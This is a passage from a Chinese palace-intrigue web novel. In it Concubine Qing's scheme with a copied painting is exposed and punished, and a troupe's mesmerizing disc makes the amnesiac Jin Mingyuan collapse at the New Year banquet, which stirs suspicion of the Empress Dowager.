即便这样想到太后的时候,他还是觉得一阵头疼,恨不得赶紧再回封地。 说到底他也是在京城中长大的,许多朋友玩伴也在京中。 事实上,贺江灈登基之后也没有强令禁止过他回京。 但这些年他一直待在外面,就是因为不想和太后接触。 贺江灈说:“母后年纪大了,如今越来越爱想些有的没的,她最信任的就是你,你还是多去陪陪她吧。” 贺竟流脸色又有些为难。 但他现在人已经回来了,避也是避不过的,只能有点不情愿的道:“那成吧,我等会儿再过去用晚膳,要不皇兄也一起?” 贺江灈看了晋明鸢一眼。 没接贺竟流的话。 贺竟流也知道,这就等于是无声的拒绝。 他神色讪讪,也没再多说什么。 就在这时,姜妃扯着一个小太监急吼吼的闯了进来。 看到贺江灈也在的时候,她神色松了一些:“臣妾参加陛下,陛下来的正好,臣妾有事要禀报呢。” “什么事?”贺江灈看了一眼晋明鸢,他现在实在没心思聊这些,只想把无关人的都弄走,再好好的给晋明鸢道个歉。 姜妃这个时候过来,只让他觉得很没眼力劲儿。 姜妃一眼就看到了那张被丢在地上的画,她心下了然,直接开门见山:“画的事陛下都知道了吧,这画就是此人送到邀云宫来的,臣妾刚才去藏书阁查过了,也是他前几日进出过藏书阁。 而且还有个更有趣的事,这人还是丹青院徐画师的助手呢,陛下说巧不巧?” 姜妃话说到这里,一切就显得很明了了。 这个小太监是画师的助手,又进过藏书阁,那么他完全有能力来临摹先太子的这幅画。 贺江灈声音冷了下来:“谁让你这么做的?” “奴才听不懂陛下在说什么,奴才是进过藏书阁,只是因为藏书阁的小邓子是奴才的朋友,他这两天身子不适,奴才替他去打扫而已。 这画…这会儿也是别人送给奴才的,从宫外送来的,说是让奴才转交给晋娘娘,奴才当真不知道怎么回事呀。”小太监颤巍巍的否认。 姜妃嗤笑一声:“是吗?那还真是奇怪了,你一个在丹青阁当值的,宫外送来的东西哪里轮得到你来转交了?” “这…奴才…” “陛下,臣妾看这刁奴胆子大的很,既然他不愿意说实话,便请陛下允许臣妾用些非常手段吧,臣妾这里还有许多娘亲留下的蛊呢,正好没人试验,陛下说臣妾拿她试试怎么样?”姜妃说。 贺江灈轻轻摆了摆手,算是默许了姜妃的话,那小太监听到这里,已经双腿一软,直接就对着姜妃跪了下来:“娘娘饶命,奴才也不想的,奴才也是受了玉粹宫赋雪姑娘的吩咐。” “玉粹宫,清妃?”姜妃问。 那小太监说的是赋雪,但姜妃故意把话题转到了清妃这里。 赋雪听命的就是清妃,小太监也没有否认,他道:“是…是,清妃娘娘给了奴才一笔银子,他说晋娘娘的儿子出宫已久,晋娘娘日日思念儿子,她实在看不下去,又说那小公子生的和先太子最像了,让奴才去藏书阁临摹先太子的画作给晋娘娘送来,以谓晋娘娘的相思之情。” “那她可真是太为晋姐姐着想了,陛下,您说您的好清妃到底是什么居心呢?”姜妃有点阴阳怪气的问。 小太监直接把清妃就咬了出来,现在也没什么好疑惑的,贺江灈直接吩咐道:“张康全,把清妃给朕叫来。” 张公公领命,很快就把清妃带了过来。 清妃进来之后,看了一眼眼前的场景,视线最后在那小太监身上僵了一下,很快就移开了,她一脸茫然道:“陛下,怎么这么着急叫臣妾过来,这是出了什么事了?” 姜妃一脚就把地上的画踹到了清妃面前:“还装模作样什么?这画你不觉得眼熟吗?” 清妃脸色稍稍一僵,她看着地上那脸色惨白的小太监,很快就意识到了什么,并没有否认,直接道:“陛下,这画是臣妾送给晋姐姐的,臣妾是想着云瑄走了这么久,一点消息也没有传来,害怕晋姐姐过分担忧,所以就想着找人给云瑄画个画像。 可臣妾也没有想到,这些宫人竟然这么糊涂,竟是把云瑄画的这么像…” 像谁,清妃没说,但在场的所有人都知道被她咽下去的那个名讳是谁。 第167章 赵离不是你的免死金牌 “清妃娘娘可真是温柔体贴,善解人意,这么说来,晋姐姐是不是还得感激你了?”姜妃都要被清妃理直气壮的态度气笑了。 人赃并获的情况下,她还能这么一本正经的颠倒黑白,也不知道这辈子说了多少谎话,才能有这么强大的心理。 清妃可不管姜妃在想什么,她继续用柔柔弱弱的语调对着贺江灈道:“陛下,臣妾从来都不需要晋姐姐感激,臣妾只是希望晋姐姐能开心。 如果这画能让姐姐聊以慰藉的话,也算是臣妾没有白费心思。” 清妃知道,既然已经把自己弄到了这里来,就说明这画在陛下和晋明鸢之间已经掀起了惊涛骇浪。 她有意的,在贺江灈还没有开口之前,就说这些模棱两可的话,试图在贺江灈追究她之前,先把火引到晋明鸢的身上来。 这回不用姜妃说什么了,晋明鸢自己也有点按耐不住,她一拍桌子就站了起来:“好话歹话全让你一个人说了,那你可真是伟大呀,清妃,你是不是拿这里所有人都当傻子? 我和我儿子的事,什么时候用得到你来指手画脚了? 你不就是惦记着这个脑子拎不清的陛下吗?你想要拿去就是,别在我是儿子身上做文章。” 晋明鸢不耐烦的一番话出口。 清妃那张始终都稳于泰山的脸,在这一刻有些僵硬。 比她脸色还要难看的是旁边的贺江灈。 这又是闹哪样?怎么两句话没有说完,又要把他送人了,他是什么可以随便送出去的筹码吗? 这会儿贺江灈在意的已经不是晋明鸢说他脑子拎不清了。 他看向晋明鸢:“阿鸢,你…” “我什么我,我这是欠了你了,平白惹一肚子火气,走走走,你赶紧带着你的宝贝清妃从我这里离开,懒得跟你们计较什么。”晋明鸢说。 贺江灈吃了个瘪,对着晋明鸢时没什么表情,再看像清妃时,眼睛已经冷了下来:“你告诉朕,这件事真的只是个意外吗?” “意外个鬼呀,拿着先太子的画像做临摹,仿出来的到底像谁还用问吗?清妃,做人如你这样虚伪,也实在是少见了。 本来就满心的歹毒心事,坏事都已经做了,还想要好名声,天底下哪里有这样好的事?”姜妃直接没好气的斥骂。 她最看不惯的就是贺江灈对这个清妃一次又一次的宽容给机会。 今天碰上这样的事,她偏要把清妃的虚伪,完完全全的拆穿在陛下的面前。 也不管贺江灈现在是什么反应,姜妃就又道:“晋姐姐懒得与你们两个牵扯,我可不会以德报怨,今天这事真相明明白白,臣妾希望陛下能秉公处理。 倘若您今日因为对清妃的私心,选择此事息事宁人,以后若是此人继续行这等阴险之事,岂不是就有了陛下庇佑?这样臣妾也没办法来管这个后宫了。” “朕没有要偏袒她。”贺江灈说,他盯着清妃,眸光冷沉,“清妃,你跟朕过来一趟。” “陛下为什么要把她带走而不是直接处理?难道还不是想包庇吗?”姜妃依旧不依不饶,她这会儿打定了主意,不给清妃一点脱身的机会,就是要把这件事直接在这里按死。 清妃这个女人,只要是让她得了空,她就有心思去钻研那些害人的手段。 眼下离年关还有些日子总,是这样防着她也不是办法,倒不如直接给她个教训,让她安分几天。 贺江灈蹙着眉看了姜妃一眼。 他倒没有在这件事上包庇清妃的意思,只是在处罚清妃之前,他想弄清楚,清妃这是第一次做这种事,还是之前也做了这些阳奉阴违的勾当。 “那你说要怎么办?”他直接问姜妃。 “陛下,请您相信臣妾,臣妾真的是一片好心,臣妾只是想着云瑄太久没回来,晋姐姐从来没与他分开过,便想着哄晋姐姐开心一下的,臣妾真的是好心啊。 就算臣妾这次确实思虑欠妥,做出了不恰当的事,至少臣妾的出发点是好的,陛下会宽恕臣妾的对不对?”清妃又说。 她绝不能让陛下意识到,他有心挑拨陛下和晋姐姐的关系。 毕竟这种事一旦暴露了,就会牵扯出更多的事。 她打定主意一口咬死了,她是诚心诚意为晋明鸢着想的。 贺江灈没说话,清妃又说:“对不起陛下,都是臣妾不够聪明,考虑欠妥,都是哥哥没教好臣妾,臣妾…” 听她又一次搬出了赵离来,姜妃有点听不下去了,她忽然上前一步,直接一巴掌就甩在了清妃脸上。 啪的一声脆响,在偌大的邀云宫里回荡着。 清妃捂着脸,满脸错愕的看着姜妃。 这女人疯了不成,陛下还没有说话呢,她怎么就动手了?她怎么敢的? 再者说了,她们二人连位分都是相同的,姜妃有什么资格对她动手? “姜妃,你…” “清妃,我警告你,不要每次犯了错,总拿你哥哥出来说事。 他不是你的免死金牌。 有些话陛下不好说,我来说。 你哥哥是什么样的人,咱们都心知肚明,如果他现在还活着,知道你在这儿天天用下三滥的手段,第一个打你的就是他。 说什么你哥哥没有教好你,你就是这么个黑心肝的玩意,不就是仗着他赵离人没了,陛下对他有愧,所以就一次次的来消耗他吗? 今天话说到这个份上,我正好让你认清楚了,你哥哥他本来就是陛下的下属,他为陛下鞠躬尽瘁,那是他应该的。 陛下不过就是看着从小长大的情谊,从来没有划分的这么清楚,倒是你在这里一次次的挟恩图报,你不觉得很可笑吗? 换句话说,就算陛下真欠你们情,那也是欠你哥哥的,和你赵清吟有什么关系?” 姜妃一番话说的无比的顺,中间都不带停下来喘气的,清妃甚至找不到档口去打断,直到她话音落下,清妃还是一脸的恍惚。 倒是旁边的贺竟流,直接对着姜妃竖了竖大拇指。 真不愧是她呀,哪怕入宫为妃,也没有一点女儿家的温软,还是这么厉害。 第168章 又是云瑄的东西 一片寂静里,是清妃率先红了眼睛。 她颤抖着嘴唇,一会儿看姜妃,一会儿看贺江灈。 这些年来只要她犯了错,只要一提到哥哥,陛下总会宽恕的。 这一招对她来说早就用习惯了,哥哥在陛下这里就是禁区,她从未想到,竟然有人在这件事上打断她。 姜青雉,她是不要命了吗? 姜妃吼完了清妃还不够,她转眼就对上了贺江灈:“陛下,这话臣妾忍了许久了,总算说出口了,臣妾不觉得自己的话有错,如果您觉得臣妾今天做错了,臣妾认打认罚。” 她不卑不亢的先在贺江灈面前跪了下来。 她就是要挑破赵清吟靠着赵离吸血的这一事实。 她实在是忍不了。赵青云犯了错后,只要一提赵离,陛下那里就轻拿轻放。 天底下就没有这么好的事儿。 贺竟流也说:“皇兄,臣弟觉得姜妃娘娘说的有理呀,错了就是错了,总不能因为清妃是赵兄的妹妹,就可以默许她一次次的算计别人,这对宫里其他人也不公平。 而且赵兄那人最是坦荡,若是他还活着,知道自己妹妹做出这种事,想来他也是不会放任的。” 这两个人一前一后的开口,相当于是把贺江灈架在火架子上烤,断了贺江灈任何一点能偏袒清妃的可能。 清妃的脸色都有点不自然,目光恨恨的朝着贺竟流的方向瞥了一眼。 这个贺竟流,简直是一如既往的恶心,后宫之事,与他一个王爷何干,他又有什么理由过来横插一脚? “陛下…”清妃又唤了贺江灈一声。 贺江灈说:“清妃,他的死从来都不是让你利用的筹码,这些年来是朕看错你了,那日让你跟着太后学规矩,看来也没能让你长些记性。 既然这样,便杖责二十,禁足到年关之前吧,朕希望你这次能好好反省反省。” “陛下,臣妾…” “张康全,叫人把清妃拖出去吧。”这回他用了个拖字,足以表现对清妃的嫌弃。 之前他从来都不会这么说清妃的。 贺江灈挥手,不再给清妃说话的余地。 直到人已经被拖走了,他才对着晋明鸢又说:“阿鸢,这次的事是朕对不起你,朕向你保证,以后都不会再不信任你,你…” “你的信任我本来就不稀罕,我累了,你走吧。”晋明鸢毫不客气地打断了她。 她不记得自己之前是什么样子,但她很清楚现在的她根本不在意什么情爱。 当然也就不在意贺江灈的保证。 “阿鸢…” “皇兄,皇嫂现在看起来不想理你,要不你还是去我那里坐坐吧,咱们也好久没有说说话了。”贺竟流笑道。 贺江灈觉得,贺竟流有点碍事。 但他看向晋明鸢,见对方确实一副不想交谈的样子,终于还是妥协的和贺竟流一道离开了。 临走的时候,她又嘱咐了姜妃一句照顾好晋明鸢,换来的是姜妃一个白眼儿。 等到旁人都离开了,姜妃这才伸了个懒腰:“哎,总算是清静了,话又说回来,那个清妃还真是够不要脸的,做了坏事还能理直气壮的打着为你好的名义,还好晋姐姐现在已经不信她了。” 一听到姜妃最后一句话,晋明鸢也是唏嘘:“真不知道我之前是怎么想的,竟然能和这种两面三刀的人相交。” 姜妃宽慰道:“这也不怪你,你看咱们那位陛下不也一直被她耍的团团转吗。 不过话又说回来,我还以为这次陛下又要轻拿轻放,只是罚她抄个宫规呢,没想到竟是打了板子,还禁足了,看来这回是真的动怒了。 也幸好他没有一怒之下剥夺了那个清妃协理六宫的权利,不然咱们怕是也不好利用她了。” 晋明鸢对贺江灈并没有什么太好的印象,她道:“依我看他也未必是真的想罚,只是被你说的有点下不来台,这才狠了心的。” 两个人说话间,外面突然传来了一阵喧闹,还夹杂着芙渠有点恼怒的声音。 “这是又怎么了?”姜妃有点烦躁的问了一句,晋明鸢和她一起出去,就见到芙蕖在和一个小太监争执着。 看到两人,芙蕖就说:“晋娘娘,姜妃娘娘,这人非说是带了小公子的东西过来,你们说可不可笑?” 清妃借着贺云瑄搞的事,才下一段落,就有人又自称拿了贺云瑄的东西来,姜妃和晋明鸢都听笑了。 晋明鸢直接问:“怎么,你们主子这是还不死心,又画了新的画像来吗?” “什么画像?没有画像,奴才捎来的只是一封信,是暗一大人让奴才过来转交的。”那个小太监一脸莫名,递上了手里的东西。 这回姜妃和晋明鸢脸上的戏谑一下子就消了。 难道这次不是假的,真是云瑄送来的? 晋明鸢半信半疑的打开了信,和姜妃一起看着,信上的笔记有点稚嫩,但又好像已经有了自己的风骨,确实是贺云瑄的字迹。 两个人看到最后,晋明鸢脸上渐渐地露出了喜色。 云瑄信上说了,他等过完年了就能回来。 虽然有点遗憾,不能和儿子一起过年,但看着上面明明白白的归期,晋明鸢心情还是好了许多。 姜妃给了那送信的小太监赏钱,把人打发了去,才唏嘘道:“我就说那小子如果传信儿过来,肯定会写信的,不过他才刚走了没多久,怎么就这么着急的要回来,看信上也没说别的什么。” 晋明鸢手里捏着那封信,看这上面的字迹,他好像还能想象到贺云瑄一本正经的写下这封信时的表情。 她笑道:“肯定是我宝贝儿子第一次出门,想娘亲了才着急回来的。” 姜妃觉得,贺云瑄出门在外,或许会想念晋明鸢,但是因为这么一个原因仓促的回来,实在有些不像他。 不过她也没有太多的担心,那小孩素来有主意,她相信不管遇到什么事,他都能很好的解决妥当的,眼下最重要的就是晋姐姐恢复记忆的事了。 希望那清妃在这件事上有用点。 第169章 清妃怎么就这么自信 因为贺竟流回宫的事,太后那边比以往安静了许多,之前偶尔还会时不时的叫嫔妃们去福寿宫训话,又或者是站规矩,现在也没再有过了。 时间一晃就到了年关,这段时间姜妃忙得不可开交,安妃也偶尔会来邀云宫过来帮忙。 安妃虽然平常看起来清清冷冷的,也不太管事,但处理起大事来又井井有条,给姜妃帮了不少忙。 姜妃对安妃的态度也渐渐的缓和许多,至少不会再看到人,就像之前那样针锋相对了。 清妃是在宫宴前两天被放出来的。 她负责的一直都是宫宴上的节目,一出来她就开始如火如荼的张罗起来,看起来无比上心。 甚至她还主动跑到了邀云宫两趟,与姜妃商量宫宴上的细节,就像一切都没有发生过一样。 即便姜妃讨厌她到了极致,也没办法不佩服她这过分强大的内心。 姜妃嘴上说着奚落的话,但是对清妃的问题也没有什么遮掩,把清妃送走之后,安妃在一边诧异道:“我还以为,你应该趁这次机会,再夺了她的权利呢,没想到你也有那么大度的时候。” 想要借着清妃的手帮晋明鸢恢复记忆的事事关重大,在尘埃落定之前,姜妃不打算让太多的人知道,于是她只是含糊其辞的说:“我又不傻,那么多活我干什么自己揽下来?她既然想做,就让她去做呗。” 安妃笑笑,也觉得这种事是姜妃能干得出来的,便也没有在这件事上多费心神。 时间一晃,就到了宫宴。 这是晋明鸢失忆后第一次真正意义上来参加宫宴。 即便出了冷宫,没有位分,她的身份还是很尴尬,但贺江灈把她的位置安排到了姜妃的旁边,巧的是,她另一边就是清妃。 清妃脸上还是始终带着笑。 贺江灈和太后还没有入场,清妃落了座之后,就很热切的对着晋明鸢打招呼:“晋姐姐,那次的事是我考虑不周,姐姐不会因为这种事记恨我吧?” 她看起来好像心情极好,姜妃都觉得,她脸上的笑像是多了几分真心。 只是这份真心的背后,藏着的是什么,就让人不得不深思了。 姜妃和以往一样,毫不客气的回怼回去:“你少在这里假惺惺的了,之前晋姐姐愿意怜悯你,不过是因为你们从小一起长大的情谊罢了,现在与晋姐姐关系最好的是我,我劝你还是躲远一点。” 姜妃故意把话题往过去的事上引。 清妃嘴角的笑果然僵了一下。 她看着姜妃:“不过就是趁虚而入罢了,你有什么好得意的呢?晋姐姐失忆又不是一辈子,总有一天,她会想到我们曾经的情谊的。” 姜妃听着清妃信誓旦旦的话,无端觉得有点莫名其妙,她又故意激她:“可就算晋姐姐以后想起来了又怎么样?这段时间你对她的伤害又不会勾销,你真的觉得晋姐姐能心无芥蒂的跟你重修旧好吗?” 这件事一直都是姜妃担心的。 清妃最近坏事可从来都没少做,可偏偏在让晋姐姐恢复记忆这件事上,她一直都表现的有恃无恐,她凭什么呢? 姜妃又有点担忧的看了晋明鸢一眼,即便她很确定,现在的晋姐姐怨恨清妃,但看着清妃这么底气十足的模样,她总觉得清妃的目的没有那么简单。 晋明鸢到现在为止,对自己的过去依旧一无所知,但她也能感觉到姜妃今天面对清妃时的不安,她的手安抚的按在了姜妃的手背上。 她相信就算曾经的自己再糊涂,再信任清妃,经历了这些事之后,她也不可能再对清妃心无芥蒂的。 晋明鸢的动作让姜妃的心也定了定,姜妃又看向清妃,她静静的等着清妃的回话。 清妃表情没有多少变化,还是那副笑盈盈的:“这就不劳烦姜妹妹关心了,晋姐姐现在只是被你趁虚而入,这才疏远了我的,只要等她恢复了记忆,她就一定能明白我做的一切都是为她好,她一定会与我重修旧好的。” 哪怕是晋明鸢在这里,清妃也没有什么遮掩,话说完之后,她还又对着晋明鸢扬唇笑了笑。 她太了解曾经的晋明鸢了,在这件事上她有绝对的底气。 晋明鸢这个人傲的很,最讨厌被人怀疑了,当初她能不管不顾地搬进冷宫去,就是为了要和贺江灈撇清关系。 她相信一旦晋明鸢恢复了记忆,要做的第一件事还是要和贺江灈撇清关系的,到了那时候,她会恨她身边所有让她搬出冷宫的人,包括姜妃。 至于她自己呢? 她可是晋姐姐最信任的姐妹,她做的一切就是为了让晋姐姐遵从她自己的心愿呀。 等晋姐姐清醒了,一定会感谢她的。 就算晋姐姐不感谢她,也没有关系,只要她与陛下继续水火不容,就足够了。 只有他们再闹起来,向姜妃这种全凭扳着晋明鸢才能得势的人,就会像以往一样跌落谷底。 她依旧是这宫里最灯光的嫔妃。 至于她和晋明鸢那所谓的姐妹情谊,清妃略微垂了一下眼,眼眸深处尽是讽刺。 什么情谊,从一开始就是利用。 晋明鸢从来就是她接近陛下的踏板。 如果不是当年她那个兄长太过古板,她也不会做小伏低的来讨好晋明鸢这么多年。 清妃很快就掩饰住了翻涌的情绪,她又对着姜妃道:“姜青雉,你信不信,你的好日子马上就到头了。” “比起这个来,我更愿意信你有病。”姜妃回怼了一句,但看到清妃现在这么自信,她便也知道,这件事清妃一定是有万全的把握。 几个人说话间,贺江灈和太后终于姗姗来迟。 外面下了一场大雪,帘子一打开,就是一阵呼啸的冷风灌进来。 贺江灈的脚步在路过进名渊的时候停了下来,他解下了身上的大氅,毫不避讳得对着晋明鸢递了过来:“天气凉,你穿的单薄,盖一盖吧。” 很寻常的语气,就像是民间在普通不过的夫君,对着自己夫人的叮咛。 第170章 晋明鸢昏倒 在场的人或多或少的都知道,贺江灈之前和晋明鸢的事。 现在看到贺江灈对晋明鸢这么体贴,也只是在心里唏嘘一句,他与晋明鸢闹了那么多年,到最后还是和好了。 但这样一个小动作落在清妃的眼里,却让清妃嘴角始终维持着的笑僵硬了些许。 她咬了咬牙,本来就黑沉沉的瞳孔更加阴森了。 晋明鸢没有接那件大氅,也没有与他搭话,贺江灈便把手里的东西丢到了姜妃那里。 他完全就是顺手而为,紧接着就直接走上了最上首的龙椅,可清妃心里,却更不是滋味儿了。 之前陛下从来都是托她照顾晋明鸢的,但现在她就在晋明鸢身边坐着,但陛下信任的人却已经换成了姜妃。 即便她心里也不喜欢对着晋明鸢低声下气,可现在看着陛下的信任,从她这里转移给了姜妃,清妃心里还是很不舒服。 宴席很快就开始了,一曲歌舞之后,清妃请来的那个杂耍班子就上台了。 这群人各个打扮的都很古怪。 即便是在大冬天,男人也都是赤裸着上身,古铜色的肌肤上肌肉虬健。 至于女人,同样穿的单薄,露着大片的腰肢和大腿,但却不是宫中舞姬那般柔弱妩媚的姿态,反而带着一种野性的美,像是大漠里野蛮生长的枝桠,不惧风沙。 这群人一进来,扑面而来的就是一股异域风情。 太后看到他们的时候,已经深深地皱起了眉:“皇帝,这又是在搞什么?宫里什么时候有这种不成体统的人了? 这一个个的,都穿的什么东西,像什么样子?” 在请这群人进来的时候,清妃就已经先征求过贺江灈的意见了,这会儿她也是有恃无恐的站了起来,直接就对着太后道:“太后娘娘,这是陛下允许臣妾在民间找来的班子,他们耍的一手杂耍,臣妾也是想让太后娘娘看个热闹。” 她直接把贺江灈搬了出来。 太后还是很是不喜,她说:“荒唐,宫中设宴,什么时候可以请这种不三不四的人进来了? 皇帝,你对你这位清妃未免太宽容了一些,你…” “母后,这大好的日子,你又何必与皇兄为难? 我看这清妃娘娘也是一片好心,人既然已经请来了,那就看一看吧。” 贺竟流直接打断了太后的话,也不给太后继续发难的机会,他就摆了摆手:“都愣着做什么呢?快开始呀。” 太后转头,狠狠的瞪了贺竟流一眼。 她这个儿子总是这样,总不与她一条心。 她故意发难,刁难清妃事小,落贺江灈的面子才是重要的。 可贺竟流… 贺竟流也察觉到了太后望过来的目光,他冲着太后笑笑:“母后,这一年就这么一个好日子,儿子也这么多年没回来过年了,又是家宴,您何必这么端着呢?” 贺竟流听起来像是在劝太后,但话听到太后心头的时候,让太后脸上更无光了。 太后冷哼一声,终于还是不再说话了。 那个被清妃请来的杂耍班子已经摆开了阵仗,他们在大殿中央,摆了一个巨大的圆盘,圆盘上竟是繁复古怪的花纹。 一群人围着圆盘念念有词,但时不时的又会表演一些民间集市上的喷火之类的术法。 这些术法表演的实在是中规中矩,算不上精彩。 贺竟流看了两眼,已经先皱起了眉:“清妃娘娘,虽然你是好心,但你请的这班子未免太没新意了,这么些手段,本王之前在宫外,早就看得腻了。” 清妃尴尬的笑笑:“王爷见多识广,我这见识自然是比不了的,我也是想让陛下和太后娘娘看点新鲜,倒是没想到,竟让王爷看了笑话。” 贺竟流摆摆手,又款款而谈:“说起来术法,还得是明…” 一句话没有说完,那个被摆在大殿里的圆盘,忽然发出了一声巨大的嗡鸣,有人推了一下圆盘,把它掉转了方向,圆盘上繁复的花纹正对着晋明鸢。 姜妃在晋明鸢的身边,几乎是和晋明鸢同一时间看到那圆盘,她只觉得眼前一阵发晕,但也只是短暂的,很快她就回过了神来,可旁边的晋明鸢依旧愣愣的看着圆盘,注意力就好像被那圆盘吸扯住了一样。 姜妃觉得有点不安,她正犹豫的要不要叫晋明鸢一声的时候,晋明鸢的身子忽然一软,直接就倒在了她肩头。 这次姜妃彻底慌了神,她惊叫道:“晋姐姐,晋姐姐,你醒醒!” “阿鸢!”贺江灈也是瞬间反应过来,起身就朝着晋明鸢冲了过来,直接把人抱了起来,朝着旁边的偏殿而去。 姜妃也赶紧跟了上去。 安妃在这时候站了起来:“来人封锁大殿,在晋娘娘醒之前,不许任何人出入。” 张康全得了吩咐连忙带着人去办,又让人赶紧去请了太医。 太后没有动,她阴沉着一张脸:“大过年的,说晕就晕,还真是晦气。 也不知道皇帝当年怎么想的,这京中有多少好姑娘,他却偏偏…” “姑母,慎言,晋娘娘已经嫁给陛下多年,这种话您还是不要再说了。”安妃提醒道。 太后冷哼一声:“有你什么事,之前也不见你这么机灵,哀家看你倒是很在意那个姓晋的,禾儿,你别忘了,你是哀家的侄女。” “臣妾正是因为记得,所以才提醒姑母慎言。 臣妾并没有在意谁,只是姑母之前向陛下替臣妾讨了管理六宫的权利,在这种时候,臣妾若是不站出来主持大局,难免会让陛下觉得臣妾无能,到时候说不准还会污了姑母的名声。 臣妾自然是不能让姑母因为臣妾损了名声。”安妃恭恭敬敬的说。 太后的脸色这才缓和了一点儿,也没有再挑安妃的错处了。 安妃视线意味不明的看向了清妃,她并没主动和清妃说话,只是吩咐人将这个表演杂耍的班子带到一边关押了起来。 清妃视线几乎是目送着那群人被带走的,安妃目光与她有短暂的接触,她看到清妃眼里闪过几分阴冷。 第171章 太后心惊 风雪簌簌不止。 晋明鸢昏迷了整整一夜,都没有要醒过来的趋势。 贺江灈叫来了太医院的所有太医,结果大家看过之后,也都是频频摇头,找不到病因。 晋明鸢的呼吸绵长,看起来就好像只是睡着了,可她这一觉又好像睡得极不安稳,眉头时不时蹙起,让人看着揪心。 一味的等待,总是让人过分焦心。 晋明鸢迟迟醒不过来,姜妃心里更是不安,到最后她实在忍不下去,直接回了主殿。 桌上琳琅满目的菜品都没有被动过几下,大殿里还是因为年关而布置出来的繁华,可现在在场的嫔妃却各个心惊胆战。 再没有什么新年到来的喜气。 那支被清妃请来的杂耍班子,还被安妃扣押在大殿中央。 姜妃没有找那些人,而是直接找上了清妃:“你到底对晋姐姐做了什么?” “我听不懂你在说什么,姜妃,晋姐姐出了事,咱们谁心里都不舒服。 但即便是这样,你也不能不分青红皂白的把问题往我身上推,刚才大家可都看到了,我就坐在这里,一动也没动。” “你当然是没动,动的是他们吧,清妃,你告诉我,他们这个圆盘到底是做什么的?”姜妃问。 刚才就是因为看到了那个圆盘,就连她都有片刻的失神。 姜妃感觉,问题就在那诡异的圆盘之上。 晋明鸢的昏迷让她过于不安,她已经等不及等晋明鸢醒来了。 “我怎么知道?你们,谁给咱们尊贵的姜妃娘娘解释解释,你们那个东西到底是做什么的?”清妃说。 她扬了扬头,一派的有恃无恐。 那支队伍里,领头的健硕男人站了出来:“回两位娘娘,这只是我们辅助表演的一个小把戏,这圆盘上的花纹,确实会让人短暂的精神恍惚一下,但那也是为了让我们接下来的表演更精彩,这…我们也不知,那位娘娘究竟怎么回事。” “短暂的精神恍惚?”姜妃重复,她刚才也确实有这种感觉,“只是这样吗?就没有例外吗?” “这…如果是对于精神不好的人,比如失忆或者有创伤的,可能会严重一点。”领头的男人讪讪的解释。 “那是什么后果?”姜妃继续逼问。 “可能会沉睡一段时间,也可能会恢复记忆吧?”男人讷讷。 他眼睛犹豫不定,视线在不经意间往清妃那里看了一眼。 这种模糊不定的说辞,就是清妃教他说的。 清妃还承诺他,只要他这么说,就一定能保他平安。 但现在姜妃的态度实在是太冷,让男人心底有点不安。 “你说什么?什么叫可能会恢复记忆?”就在男人对姜妃警惕无比的时候,一个更加尖锐急促的声音,忽然插了进来,是太后。 太后的手按在椅子把手上,连眼神都变得闪烁不定。 不等在场的人回神,太后就继续说:“哀家看你们这等居心叵测之辈,就是有意来行刺的,来人,快来人啊,给哀家把这些东西都拖出去斩了。” 直到太后尖锐的声音出口,姜妃才后知后觉的反应过来。 或许除了贺江灈以外,还有一个人不希望晋明鸢恢复记忆。 那个人就是太后。 如果当晋明鸢失忆之前,真的窥破过太后什么秘密。 那太后一定会想办法除掉她的。 想到这一层,姜妃的眼睛一下子就冷了下来。 既然事情已经到了这一步,那么在晋姐姐醒来之前,她就得赶紧把水搅浑。 姜妃拦住了太后的人,她看向太后:“太后娘娘今天怎么那么激动?是因为不希望晋姐姐恢复记忆吗? 为什么?难不成您是有什么把柄在晋姐姐那里吗?” 姜妃故意提高了声音,确保在场所有人都能清楚地听到她的话,她要的就是太后骑虎难下。 太后脸色更难看了,她都能感觉到,很多古怪的目光,因为姜妃的话落在了她身上,她连忙否认:“哀家能有什么把柄? 这些江湖术士最喜招摇行骗,他们这种说辞姜妃你也信? 如今晋氏昏迷不醒,岂不就是已经中了他们的邪? 他们行事这般无声无息,让人防不胜防,现在不把他们处置掉,难道要等着这群人对宫里的所有人下手吗? 来人,还不赶紧把这群妖人拖出去砍了?” “慢着!”姜妃又一次拦住了太后的人,“就算事实真如太后娘娘所说的那样,非要处置的话,也得经由陛下同意。 太后娘娘还是容臣妾去禀报陛下一声吧。” “晋氏如今昏迷不醒,皇帝自然是在那边守着的,姜妃,皇帝让你管理六宫,就是让你替他分忧的,而不是让你事事都去麻烦他。”太后说。 她现在脸色已经不似刚才那么慌乱了。 直接起身朝着姜妃走了过来。 姜妃也丝毫不惧,她说:“臣妾觉得这件事应该让陛下知道。” 她也不管太后的反应,直接就让自己的宫女去内殿通知贺江灈。 太后推开了姜妃:“这点小事哀家还是能做得了主的,都别愣着了,把人拖下去。” 那个杂耍班子里的人看到这一幕,早就已经吓软了腿脚,这会儿更是直接就近对着姜妃跪了下来:“娘娘,小民绝对没有任何害人的心思,小民只是想讨口饭吃的,还请娘娘救救我们。” 姜妃说:“想要处置你们的,可是咱们太后娘娘,我一个人怕是护不住你们,你们不是清妃请来的吗? 她是陛下最宠爱的女人,只要有她开口,必然能护你们周全的。” 姜妃从一开始,就没打算自己和太后争斗。 她一早就想要把清妃拉下水了。 杂耍班子里的人在听到姜妃的话之后,纷纷把目光转向了清妃,又开始对着清妃磕头。 “娘娘,娘娘是您带我们进来的,是您承诺我们会保我们安全的,现在娘娘可不能不管我们啊,求娘娘快点和陛下说说,饶过我们吧。”那领头的一看就是很憨厚的样子,说出来的话也没太多弯弯绕绕,却一下子就让清妃脸色变了。 第172章 风雪不止 姜妃很是敏锐的抓住了那人话里的信息。 她直接问:“清妃姐姐,如果只是找个杂耍班子的话,你为何要承诺他们安全? 你到底要他们做了什么?晋姐姐的事是不是你一手促成的?” “什么?我怎么知道他们为什么会这么说,肯定是被吓糊涂了吧。”清妃直接否认道。 她视线带着几分警告的意味,冲着那个领头的男人瞪了一眼,然后才又对着太后说:“太后娘娘,今日可是新年伊始,若是见了血,未免太不吉利,不如…” “怎么,清妃是要为这些妖人求情,难道你和他们真有什么交易?”太后又一次质问。 清妃连连否认:“怎么会呢太后娘娘,臣妾只是觉得今日不太吉利,不如先把人关押起来,容后处置? 这宫中守卫森严,想来他们也逃脱不了的,太后娘娘觉得呢?” 太后冷着脸,明显是不太赞同的。 贺竟流说:“母后,儿臣觉得清妃说的也有道理啊,现在皇嫂情况不明,这些人还不能死,先关押起来吧。” 太后看向了贺竟流,本就不好看的表情,更阴郁了。 她这个儿子一向是闲云野鹤惯了,也不太爱掺和事的。 偏今天竟然给她做对。 不只是今天,贺竟流总与她不是一条心。 